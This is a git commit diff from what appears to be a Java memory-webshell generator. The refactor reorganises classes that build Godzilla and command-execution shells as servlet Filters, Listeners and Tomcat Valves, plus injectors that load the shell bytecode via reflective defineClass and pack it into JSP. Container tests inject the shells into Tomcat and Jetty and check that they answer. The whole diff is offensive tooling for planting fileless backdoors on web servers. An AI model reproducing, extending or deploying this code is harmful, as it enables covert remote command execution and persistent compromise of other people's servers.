refactor: extract super class

This commit is contained in:
ReaJason
2024-12-08 16:51:50 +08:00
parent fe3a77774b
commit 146f67c653
14 changed files with 166 additions and 76 deletions
@@ -5,8 +5,12 @@ import com.reajason.javaweb.memsell.jetty.JettyShell;
import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell; import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.IOException; import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,7 +22,7 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException { public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(Server.JETTY) .server(Server.TOMCAT)
.shellTool(ShellTool.Godzilla) .shellTool(ShellTool.Godzilla)
.shellType(Constants.FILTER).build(); .shellType(Constants.FILTER).build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder() GodzillaConfig godzillaConfig = GodzillaConfig.builder()
@@ -28,9 +32,12 @@ public class GeneratorMain {
.headerValue("test123") .headerValue("test123")
.build(); .build();
InjectorConfig injectorConfig = new InjectorConfig(); InjectorConfig injectorConfig = new InjectorConfig();
byte[] bytes = generate(shellConfig, injectorConfig, godzillaConfig, Packer.INSTANCE.JSP); GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
if (bytes != null) { if (generateResult != null) {
System.out.println(new String(bytes)); Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
Packer.INSTANCE.JSP.getPacker().pack(generateResult);
} }
} }
@@ -54,7 +61,6 @@ public class GeneratorMain {
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) { if (generateResult != null) {
// Files.write(Paths.get( injectorConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
return packerInstance.getPacker().pack(generateResult); return packerInstance.getPacker().pack(generateResult);
} }
return null; return null;
@@ -17,17 +17,17 @@ import org.jetbrains.annotations.NotNull;
* 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6 * 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6
* @author ReaJason * @author ReaJason
*/ */
public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper { public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {
public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper(); public static final TargetJreVersionVisitorWrapper DEFAULT = new TargetJreVersionVisitorWrapper();
private final int targetJdkVersion; private final int targetJdkVersion;
public TargetJDKVersionVisitorWrapper() { public TargetJreVersionVisitorWrapper() {
targetJdkVersion = Constants.DEFAULT_VERSION; targetJdkVersion = Constants.DEFAULT_VERSION;
} }
public TargetJDKVersionVisitorWrapper(int targetJdkVersion) { public TargetJreVersionVisitorWrapper(int targetJdkVersion) {
this.targetJdkVersion = targetJdkVersion; this.targetJdkVersion = targetJdkVersion;
} }
@@ -32,10 +32,10 @@ public class ShellConfig {
String shellType; String shellType;
/** /**
* 生成类的目标 JDK 版本 * 生成类的目标 JRE 版本
*/ */
@Builder.Default @Builder.Default
private int targetJdkVersion = Constants.DEFAULT_VERSION; private int targetJreVersion = Constants.DEFAULT_VERSION;
/** /**
* 是否开启混淆 * 是否开启混淆
@@ -55,6 +55,6 @@ public class ShellConfig {
} }
public boolean needByPassJdkModule() { public boolean needByPassJdkModule() {
return targetJdkVersion >= Opcodes.V9; return targetJreVersion >= Opcodes.V9;
} }
} }
@@ -1,6 +1,6 @@
package com.reajason.javaweb.godzilla; package com.reajason.javaweb.godzilla;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memsell.GodzillaGenerator; import com.reajason.javaweb.memsell.GodzillaGenerator;
import lombok.Getter; import lombok.Getter;
import lombok.Setter; import lombok.Setter;
@@ -123,7 +123,7 @@ public class GodzillaManager implements Closeable {
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size())); String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
try (DynamicType.Unloaded<?> make = new ByteBuddy() try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(Payload.class) .redefine(Payload.class)
.visit(TargetJDKVersionVisitorWrapper.DEFAULT) .visit(TargetJreVersionVisitorWrapper.DEFAULT)
.name(className) .name(className)
.make()) { .make()) {
return make.getBytes(); return make.getBytes();
@@ -154,6 +154,7 @@ public class GodzillaManager implements Closeable {
ResponseBody body = response.body(); ResponseBody body = response.body();
if (body != null) { if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes); return "ok".equals(resultFromRes);
} }
} }
@@ -3,7 +3,8 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.config.*; import com.reajason.javaweb.config.*;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap; import java.util.Collections;
import java.util.List;
import java.util.Map; import java.util.Map;
/** /**
@@ -11,30 +12,53 @@ import java.util.Map;
* @since 2024/12/7 * @since 2024/12/7
*/ */
public abstract class AbstractShell { public abstract class AbstractShell {
protected final Map<String, Pair<Class<?>, Class<?>>> godzillaShellMap = new HashMap<>();
protected final Map<String, Pair<Class<?>, Class<?>>> commandShellMap = new HashMap<>();
public AbstractShell() { /**
initializeShellMaps(); * 获取当前支持的内存马功能列表
*
* @return supported tool lists
*/
public abstract List<ShellTool> getSupportedShellTools();
/**
* 获取内存马功能所支持的注入类型列表
*
* @param tool 内存马功能
* @return shellTypes
*/
public List<String> getSupportedShellTypes(ShellTool tool) {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
} }
/** /**
* setup map * 检查 shellConfig 的配置是否有效
*
* @param shellConfig 内存马生成配置
* @return valid
*/ */
protected abstract void initializeShellMaps(); public boolean isValid(ShellConfig shellConfig) {
List<ShellTool> supportedShellTools = getSupportedShellTools();
if (!supportedShellTools.contains(shellConfig.getShellTool())) {
return false;
}
List<String> supportedShellTypes = getSupportedShellTypes(shellConfig.getShellTool());
return supportedShellTypes.contains(shellConfig.getShellType());
}
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass(); Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
byte[] shellBytes; Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
Pair<Class<?>, Class<?>> classPair = getClassPair(shellConfig); shellToolConfig.setClazz(shellClass);
if (injectorClass == null) { byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig injectorConfig = injectorConfig
.toBuilder() .toBuilder()
@@ -50,14 +74,36 @@ public abstract class AbstractShell {
.injectorConfig(injectorConfig) .injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName()) .shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes) .shellBytes(shellBytes)
.injectorClassName(injectorClass.getName()) .injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes) .injectorBytes(injectorBytes)
.build(); .build();
} }
private Pair<Class<?>, Class<?>> getClassPair(ShellConfig shellConfig) { /**
Map<String, Pair<Class<?>, Class<?>>> shellMap = shellConfig.getShellTool() == ShellTool.Godzilla ? godzillaShellMap : commandShellMap; * 获取 Godzilla 注入生成类 Map
return shellMap.get(shellConfig.getShellType()); *
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
} }
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memsell; package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig; import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
@@ -26,7 +26,7 @@ public class CommandGenerator {
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz()) .redefine(shellConfig.getClazz())
.name(shellConfig.getClassName()) .name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets); .constructor(ElementMatchers.any()).intercept(fieldSets);
if (config.isJakarta()) { if (config.isJakarta()) {
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memsell; package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig; import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
@@ -26,7 +26,7 @@ public class GodzillaGenerator {
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz()) .redefine(shellConfig.getClazz())
.name(shellConfig.getClassName()) .name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()) .constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE .intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass())) .andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
@@ -1,8 +1,7 @@
package com.reajason.javaweb.memsell; package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.InjectorConfig; import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil; import com.reajason.javaweb.util.CommonUtil;
@@ -10,7 +9,6 @@ import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import java.util.Objects; import java.util.Objects;
@@ -31,7 +29,7 @@ public class InjectorGenerator {
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass()) .redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName()) .name(injectorConfig.getInjectorClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.jetty; package com.reajason.javaweb.memsell.jetty;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.jetty.command.CommandFilter; import com.reajason.javaweb.memsell.jetty.command.CommandFilter;
import com.reajason.javaweb.memsell.jetty.command.CommandListener; import com.reajason.javaweb.memsell.jetty.command.CommandListener;
@@ -9,6 +10,9 @@ import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector; import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*; import static com.reajason.javaweb.config.Constants.*;
/** /**
@@ -18,15 +22,27 @@ import static com.reajason.javaweb.config.Constants.*;
public class JettyShell extends AbstractShell { public class JettyShell extends AbstractShell {
@Override @Override
protected void initializeShellMaps() { public List<ShellTool> getSupportedShellTools() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); return List.of(ShellTool.Godzilla, ShellTool.Command);
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); }
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); @Override
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); return Map.of(
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
} }
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.tomcat; package com.reajason.javaweb.memsell.tomcat;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter; import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
import com.reajason.javaweb.memsell.tomcat.command.CommandListener; import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
@@ -12,6 +13,9 @@ import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*; import static com.reajason.javaweb.config.Constants.*;
/** /**
@@ -26,19 +30,31 @@ public class TomcatShell extends AbstractShell {
public static final String EXECUTOR = "Executor"; public static final String EXECUTOR = "Executor";
@Override @Override
protected void initializeShellMaps() { public List<ShellTool> getSupportedShellTools() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); return List.of(ShellTool.Godzilla, ShellTool.Command);
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); }
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
godzillaShellMap.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); @Override
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); return Map.of(
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
commandShellMap.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
commandShellMap.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
} }
} }
@@ -197,7 +197,8 @@ public class TomcatFilterInjector {
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance(); filter = clazz.newInstance();
} catch (Throwable ignored) { } catch (Throwable e1) {
e1.printStackTrace();
} }
} }
return filter; return filter;
@@ -20,7 +20,7 @@ public class ShellAssertionTool {
.server(server) .server(server)
.shellTool(shellTool) .shellTool(shellTool)
.shellType(shellType) .shellType(shellType)
.targetJdkVersion(targetJdkVersion) .targetJreVersion(targetJdkVersion)
.build(); .build();
String shellUrl = url + "/test"; String shellUrl = url + "/test";
@@ -33,10 +33,10 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP) arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
// arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
// arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
); );
} }
@@ -53,8 +53,8 @@ public class Jetty61ContainerTest {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
} }
@AfterAll // @AfterAll
static void tearDown() { // static void tearDown() {
log.info(container.getLogs()); // log.info(container.getLogs());
} // }
} }
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell; import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
@@ -43,7 +44,7 @@ public class Tomcat6ContainerTest {
} }
@Container @Container
public final static GenericContainer<?> tomcat = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
@@ -52,6 +53,11 @@ public class Tomcat6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
} }
// @AfterAll
// static void tearDown() {
// log.info(container.getLogs());
// }
} }